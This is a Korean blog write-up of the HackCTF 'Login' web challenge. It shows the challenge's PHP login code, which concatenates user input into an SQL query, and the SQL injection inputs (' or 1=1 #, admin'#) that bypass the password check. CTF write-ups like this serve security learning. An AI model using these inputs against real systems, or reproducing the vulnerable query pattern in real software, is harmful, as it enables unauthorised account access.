보안을 그리다, 훈이

[Web Hacking] HackCTF Login(100p) Write Up 본문

Security/Wargame

[Web Hacking] HackCTF Login(100p) Write Up

HooNeee 2021. 12. 14. 21:49

 

HackCTF Web 분야 Login(100p) 문제 풀이입니다.

 

[HackCTF] Challenge Login

 

문제에 링크가 주어져 있네요. 들어가봅시다.

 

http://ctf.j0n9hyun.xyz:2024/

 

http://ctf.j0n9hyun.xyz:2024/

 

로그인 폼이 있는 것을 보아 어떠한 문제일지 예상이 됩니다.

 

먼저, 페이지 소스코드를 봅시다.

 

<?php
highlight_FILE(__FILE__);
require_once("dbcon.php");

$id = $_GET['id'];
$pw = $_GET['pw'];
$pw = hash('sha256',$pw);

$sql = "select * from jhyeonuser where binary id='$id' and pw='$pw'";
$result = mysqli_fetch_array(mysqli_query($db,$sql));

if($result['id']){
        $_SESSION['id'] = $result['id'];
        mysqli_close($db);
        header("Location:welcome.php");
}
?>

 

한 눈에 봐도 매우 취약해 보이는 로그인 폼의 PHP 소스코드입니다.

 

간단하게 SQL Injection 기법을 사용하면 로그인에 성공하겠네요.

 

SQL Injection Attack

 

id 입력란에 ' or 1=1 # 값을 입력하면 아래와 같이 id가 참 값이 되고 #에 의해 pw를 비롯한 뒷 부분은 주석 처리됩니다.

 

$sql = "select * from jhyeonuser where binary id='' or 1=1 #' and pw=''";

 

 

또한, id 입력란에 admin'# 값을 입력하면 아래와 같이 admin 계정으로 로그인됩니다.

 

$sql = "select * from jhyeonuser where binary id='admin'#' and pw=''";

 

로그인에 성공하면 welcome.php 페이지를 통해 플래그가 출력됩니다.

 

Get the Flag!

 

Solve!

 

Comments